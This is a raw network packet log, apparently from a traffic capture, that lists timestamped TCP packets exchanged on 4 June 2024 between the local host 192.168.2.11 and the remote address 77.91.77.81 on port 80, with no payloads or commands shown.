Jun 4, 2024 23:09:16.884856939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884866953 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884870052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884881020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884891987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884896040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884902954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884917021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884918928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884927988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884929895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884938955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884949923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884951115 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884962082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884974003 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884974003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884989977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885000944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885001898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885011911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885014057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885027885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885039091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885039091 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885051012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885061026 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885063887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885067940 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885076046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885087967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885096073 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885102987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885107994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885116100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885128021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885133028 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885140896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885152102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885154963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885164022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885174990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885176897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885189056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885190964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885200024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885210037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885212898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885222912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885229111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885236025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885246992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885248899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885261059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885267019 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885273933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885274887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885287046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885301113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885302067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885313988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885313988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885324955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885324955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885337114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885344028 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885349989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885350943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885363102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885375977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885379076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885387897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885400057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885400057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885406971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885418892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885422945 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885432005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885432959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885445118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885453939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885457993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885468960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885476112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885482073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885493040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885499001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885504961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885509968 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885516882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885529041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885535002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885540962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885552883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885555983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885566950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885571957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885579109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.885591984 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.885618925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.886509895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.890634060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.890647888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.890732050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891020060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891072989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891181946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891201019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891211987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891223907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891236067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891239882 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891247034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891258001 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891263962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891271114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891277075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891283035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891294003 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891298056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891309023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891315937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891319036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891330957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891345024 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891352892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891357899 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891365051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891375065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891385078 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891387939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891401052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891408920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891413927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891426086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891426086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891437054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891447067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891449928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891463041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891470909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891475916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891484022 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891494989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891509056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891511917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891525030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891530991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891536951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891552925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891555071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891565084 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891566992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891580105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891590118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891592979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891602993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891614914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891616106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891628981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891638994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891640902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891649961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891653061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891668081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891678095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891680956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891690969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891700029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891704082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891715050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891720057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891726017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891737938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891743898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891750097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891762018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891773939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891774893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891787052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891788006 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891799927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891807079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891824961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891846895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891849041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891858101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.891882896 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.891895056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892040968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892057896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892070055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892080069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892092943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892097950 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892105103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892116070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892121077 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892127037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892134905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892138004 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892152071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892163038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892164946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892179012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892187119 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892195940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892204046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892215967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892226934 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892235041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892239094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892247915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892256975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892262936 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892271042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892271996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892285109 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892285109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892297029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892303944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892308950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892318964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892321110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892330885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892343998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892345905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892354965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892365932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892376900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892384052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892390013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892400980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892405033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892410994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892421007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892430067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892438889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892452002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892455101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892463923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892467976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892474890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892496109 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892504930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892515898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892518997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892534018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892538071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892544985 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892546892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892559052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892570972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892571926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892581940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892594099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892596960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892606020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892618895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892620087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892631054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892637014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892642975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892657042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892659903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892673969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892683983 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892687082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892700911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892702103 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892719984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892729998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892739058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892748117 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892751932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892764091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892772913 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892776966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892788887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892795086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892802000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892818928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892841101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892878056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892889977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892900944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892915010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892926931 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892927885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892939091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892940998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892951012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892963886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892968893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.892976999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892987967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.892990112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893002987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893007994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893021107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893030882 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893033981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893047094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893053055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893059969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893073082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893076897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893085003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893096924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893104076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893110037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893110037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893122911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893135071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893137932 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893147945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893158913 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893172026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893173933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893183947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893196106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893199921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893208981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893212080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893224001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893224955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893235922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893235922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893254042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893254995 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893260956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.893265963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.893276930 CEST	80	49713	77.91.77.81	192.168.2.11
